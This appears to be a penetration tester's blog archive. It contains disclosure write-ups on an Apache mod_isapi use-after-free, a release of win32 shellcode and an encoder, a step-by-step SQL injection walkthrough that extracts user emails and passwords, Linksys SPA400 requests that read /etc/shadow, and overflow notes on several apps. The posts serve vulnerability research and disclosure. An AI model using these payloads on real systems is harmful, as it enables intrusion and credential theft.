In the past year much has happened! I no longer work for Sense of Security, nor publish security advisories (to the public that is, usually). I've started a new role at Datacom TSS (datacom.com.au/tss).
At TSS, I have a large focus on true vulnerability research, where i get to pick a target and attempt to break it! I still do penetration testing/security assessments however my billable hours have been largely decreased. So far i've been enjoying my time and lifestyle at TSS :)
Recently i discovered a vulnerability in Apache mod_isapi that when exploited provides the attacker with SYSTEM privileges to the remote host, without authentication (provided the DLL you call doesn't require authentication - this would be rare and most likely only basic auth authetication would prevent the bug from being triggered). Below are some interesting notes about this bug.
Triggering the vulnerability:
- Send a normal request with the keep-alive flag set and a sized content-length value.
- Follow this request by a RESET packet.
Apache's processing:
The function: ap_get_client_block() fails, and "res" becomes less than 0.
1530: while (read < cid->ecb->cbAvailable &&
1531: ((res = ap_get_client_block(r, (char*)cid->ecb->lpbData + read,
1532: cid->ecb->cbAvailable - read)) > 0)) {
1533: read += res;
1534: }
The call to unload the DLL.
1536: if (res < 0) {
1537: isapi_unload(isa, 0); // <-- CALL TO UNLOAD
1538: return HTTP_INTERNAL_SERVER_ERROR;
1539: }
"yes, yes, so what?"
Now we have an "orphaned" callback pointer.
"a what?"
Exploiting the vulnerability:
Now we send another request to exploit the vulnerability. In this request we call a function published by the ISAPI module that has just been unloaded. Since the DLL is no longer in memory we will be calling invalid memory, unless we make that memory valid.
We make the memory valid by attempting to make Apache allocate user supplied data and the best way to do this that i could think of was to send a large request.
In the example proof of concept code, and demonstration video i was using an ISAPI module called "SMTPSend.dll". Nothing fancy just a simple ISAPI module.
After unloading the DLL and sending another packet i noticed it would crash when calling "0x0074xxxx". The proof of concept code will send a payload request that will hit above this address, from memory i think 0x007Axxxx. However with other versions of the code i was able to hit higher addresses again by increasing the size of the packet.
Disadvantages:
* Reliability just isn't there. Most of the time, each ISAPI module will be different.
* Apache would allocate large chunks of user supplied data followed by a pile of nulls, destroying a large nopsled, and it sucks to land in the middle of them.
* DEP owns this attack since we cannot directly control EIP.
The advantage of exploiting a bugs like this is that i was able to exploit the bug and take _control_.
Before developing an exploit for this bug it was said that this bug could not be exploited by a "hacker". 5 days later i had a working exploit.
Finally, well done to Apache for their prompt response and fix.
Update: The monday i brought the exploit code into work, the guy behind me (Tim) decided to film it, so check it out for a bit of a laugh:
http://www.bmgsec.com.au/downloads/apache-pwnage.m4v
I've been meaning to post this for some time. However I’ve had a few things I wanted to tidy up before doing so. About 6 months ago I decided I wanted to learn to write shellcode, so the below pieces are the result of that!
I've written a number of pieces for both Linux and Windows; however I’ll just be releasing the following shellcode:
- Dynamic WinExec - cmd.exe (win32) - dynamiccmd.asm
- Dynamic Message Box (win32) - dynamicmsg.asm
I wasn't sure whether or not I’d bother releasing dynamiccmd.asm but here it is... I'm sure it would come in handy for someone else attempting to learn win32 shellcode. Due to the size (228 bytes) I wouldn't bother using it for an actual exploit over metasploit's implementation :)
dynamicmsg.asm is shellcode which will display a message box, then exit. When developing proof of concept exploits I got tired of watching calc.exe being spawned, as a result I figured a message box would be cooler! To make it worth using the shellcode had to be dynamic. I was unable to find any dynamic implementations of this on the internet. Again the size is quiet large, weighing in at 302 bytes. However, it was designed with proof of concepts in mind so having a large payload will come in handy in case someone else wants to swap shellcode. This way the researcher will have to find space for 302 bytes. Other, malicious payloads are generally smaller in size.
At the time of coding I had decided to use the PEB method to find the base of kernel32, and the Directory Export Table in order to find function addresses. Since the release of Windows 7 I read somewhere that using PEB to find the base of kernel32 is no longer feasible. When I get some time I might do an update (and remove all nulls while I’m at it). It’s not a big job to modify the code, just swap the find_kernal32 code with the new method (I believe it’s documented and sample code is available somewhere). So at the moment this shellcode will function correctly on:
- 95/98/ME/NT/2K/XP/Vista
If you have viewed both files you will notice nulls are contained in the shellcode. These are the remaining nulls I was unable to easily remove. However I do have another version which eliminates a number of them, but not all. I figured I’d wait until I worked out how to completely remove my null problem before posting that version. One of the major problems I am having in regards to null bytes is that calls and jmps were creating nulls. If I rearranged the code a bit and used short jmps I was able to avoid some of the nulls. Anyway, to combat null and bad byte problems I decided I’d write a shellcode encoder/decoder.
The shellcode encoder/decoder is additive. In that the encoder will minus a specific number (the key) from each byte of shellcode, then the decoder will add a specific number (again the key) to each byte in order to decode the original shellcode on the other side (interesting to watch in a debugger).
The encoder takes an input file of hex values, presented like so: 41424344, then a key value (int) which is used to subtract from each byte. The encoder will then print out the decoder, followed by the encoded shellcode in C/C++ formatting.
The encoder will print out one of two encoders, depending on which one is required to decode the shellcode. Decoder 1 uses the CL register to store the size of the shellcode. This means that the size of the shellcode must be less than 255 bytes. Decoder 1 weighs 20 bytes. Decoder 2 uses the CX register which allows for larger shellcode to be decoded. Decoder 2 weighs 22 bytes.
At the moment, the encoder does not verify that bad bytes have been eliminated after encoding, so this is a bit of a manual process. I had been planning an upgrade before release but who knows when that'll come! Again the encoder/decoder was a learning curve so I’m sure metasploit's implementation is much better :)
The bmgsec-shellcode-and-encoder.zip file contains all source code along with a binary, sample code and some custom tools to help make a shellcoder’s life easier! It also includes a copy of the dynamic message box and dynamic CMD shellcode.
I used the encoder/decoder and dynamic message box shellcode in my latest exploit, TheGreenBow VPN Client. The exploit is Vista certified! Unfortunately i am unable to release this exploit since the company i work for have elected to keep it private.
The infamous Blind SQL Injection vulnerability class. Recently while performing a web application penetration test on a closed source application I discovered a Blind SQL Injection vulnerability and was able to exploit this vulnerability to compromise the whole web application. Below is the process I used.
1. Discovering the vulnerability.
Try and make the query return true with the use of more characters than allowed:
Request : file.asp?id=1'"
Response: System error (Failed to execute query)
Request : file.asp?id=1' OR '1'='1
Response: Query returned true (page loaded)
Note: Remember to try talking marks if quotes are not breaking the query.
2. Attempt to determine what the query is doing. Do you think it will be possible to return data or just execute a query? It may be difficult to determine at this point. However if it is only possible to execute queries your best chance is updating or inserting a new entry. The below principles can be used to achieve this.
3. Column counting
In order to construct a valid UNION query you need to know how many columns to select. There are a number of methods to achieve this. I find using the ORDER BY clauses to be most efficient. ORDER BY can take integers to select a column to order by:
Request: file.asp?id=1' ORDER BY 1 --
Response: Query returned true (page loaded)
Request: file.asp?id=1' ORDER BY 2 --
Response: Query returned true (page loaded)
Request: file.asp?id=1' ORDER BY 3 --
Response: System error.
Since the final response resulted in "System error" meaning that the query failed we were able to determine the number of columns selected: 2 (number of requests that returned true).
4. Constructing a valid UNION query
Before being able to execute a valid UNION query we need to determine the datatypes of the columns being selected. If a column is of INT datatype and you try to UNION SELECT with a VARCHAR datatype the query will fail. I was able to achieve this by selecting "null", or "0" as my column names in a UNION query:
Request: file.asp?id=1' UNION SELECT null, null --
Response: Query returned true (page loaded)
Request: file.asp?id=1' UNION SELECT @@version, null --
Response: System Error
Request: file.asp?id=1' UNION SELECT null, @@version --
Response: Query returned true (SQL Server version information returned)
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
Copyright (c) 1988-2000 Microsoft Corporation
Developer Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
In conclusion I was able to determine that the first column being selected is a datatype other than char (or similar). The second column was determined to be a datatype similar (if not the same) to that of the column being selected.
5. Finding SQL server information
Now that I was able to construct a valid UNION query I wanted to return other information. I started by selecting the server name from master..sysservers:
Request : file.asp?id=1' UNION SELECT null, srvname FROM master..sysservers --
Response: Query returned true (Server name returned)
Following this I selected a username from master..sysusers:
Request : file.asp?id=1' UNION SELECT null, user FROM master..sysusers --
Response: Query returned true (Database username returned)
6. Enumerating columns and tables
The below queries are pretty straight forward. Firstly I select all tables followed by selecting all columns for a specific table.
All tables:
Request : file.asp?id=1' UNION SELECT null, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES --
Response: Query returned true (All table names returned)
All columns for "tbl_MemberDetails":
Request : file.asp?id=1' UNION SELECT null, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tbl_MemberDetails' --
Response: Query returned true (All column names for specified table returned)
7. Retrieving an account
Now that I had determined the table and columns I wanted to select I was able to construct the below queries. "email" is the username field followed by "password" being the password field.
All email addresses:
Request : file.asp?id=1' UNION SELECT null, email FROM tbl_MemberDetails --
Response: Query returned true (All email addresses returned)
All passwords:
Request : file.asp?id=1' UNION SELECT null, password FROM tbl_MemberDetails --
Response: Query returned true (All passwords returned)
Password for a specific user:
Request : file.asp?id=1' UNION SELECT null, password FROM tbl_MemberDetails WHERE email='administrator@AAAAA.com
Response: Query returned true (Specific password returned)
In closing I was able to obtain a number of user accounts. Previous to this I had never exploited a Blind SQL Injection vulnerability. The whole process took about an hour to complete.
Later this month I plan on releasing a basic shellcode encoder I wrote to assist in eliminating null bytes (and others) from shellcode. Its nothing compared to metasploit however recently I went through a phase of learning to write win32 shellcode! While writing the shellcode I attempted to eliminate null bytes I knew would occur. Although unfortunately my shellcode was not null byte free. So instead of adding extra operations to eliminate my nulls bytes I wrote an encoder/decoder.
When I release the peices of shellcode I wrote I will release a version with null bytes that uses a decoder, and a version without. I plan on releasing them this month...
Been really busy of late. Started a new job as a penetration tester. Began development on a few new apps and thought about doing stuff I will never actually get around to doing. If only i never became tired.
FreeSSHd is an application I've been playing with for some time. The vulnerabilities I'd discovered I'd never actually been able to exploit. Recently I decided to spend more time on the issues. Well that time spent was time put to good use. I managed to exploit the vulnerability, all of which can be viewed in the advisory titled "FreeSSHd 1.2.1 (rename) Remote Buffer Overflow Exploit".
Whilst setting up IP Phones early January I came across an issue with the Linksys SPA400 device:
| Manufacturer |
Linksys (Division of Cisco Systems) |
| Device |
SPA400 (Internet Telephony Gateway) |
| Fireware |
1.1.2.2 |
Provided the user is logged in, it is possible to read local files as the root user. The setup.cgi script fails to verify the the requested data before preforming the action. Examples are shown below:
/html/setup.cgi?next_file=/etc/passwd
/html/setup.cgi?next_file=/etc/shadow
/html/setup.cgi?next_file=/var/system.conf
Anyway, soon I hope to find much more time soon to do more vulnerability R&D and write more blog entries!
My latest advisory exploits a buffer overflow vulnerability in CoolPlayer. The vulnerability occurs when the "PlaylistSkin" variable is set to 1534 characters, or 1538 including EIP. Besides a couple security vulnerabilities CoolPlayer is a pretty cool app!
I've recently created version 2 of both formatfuzz, and packetfuzz fuzzers which are currently private. FormatFuzz assisted in the discovery of BadAllocation vulnerabilities in Liferea RSS Reader (1.2.2), and RealPlayer (10.0.9.809 [gold]). PacketFuzz detected a stack overflow vulnerability in a Linksys WAG54G Wireless ADSL Router.
The BadAlloc error in Liferea occurs when a "title" tag contains around 5000 characters. The vulnerability is triggered when the user attempts to remove the subscription. In regard to RealPlayer, when the application receives a "favorite" with an overly long string the application crashes.
Proof of concept: liferea-badalloc.pl (Liferea)
Proof of concept: realplay-badalloc.pl (RealPlayer)
The stack overflow vulnerability in the Linksys WAG54G router occurs when the HTTPd service receives an overly long GET, or POST request. Approximately 10240 characters. However this vulnerability has been reported in various other Linksys products, yet the vulnerability in the WAG54G has not been reported.
Proof of concept: wag54g-DoS.phps
I've been hesitant about posting the errors in liferea, realplay, and wag54g for various reasons. So i doubt I'll release an advisory for the above three. Only CoolPlayer. The others are just something fun to play with!
Just now as I was searching my vulnerability stockpile I found a file I had on FreeSSHd. It listed more vulnerable functions I'd discovered in the software. Basically every SFTP operation in the software is vulnerable to a buffer overflow! After JB's first FreeSSHd post I discontinued my research on the vulnerabilities.
Anyway Christmas (Thursday) is not very far away now - I'm definitely looking forward to having some time to relax.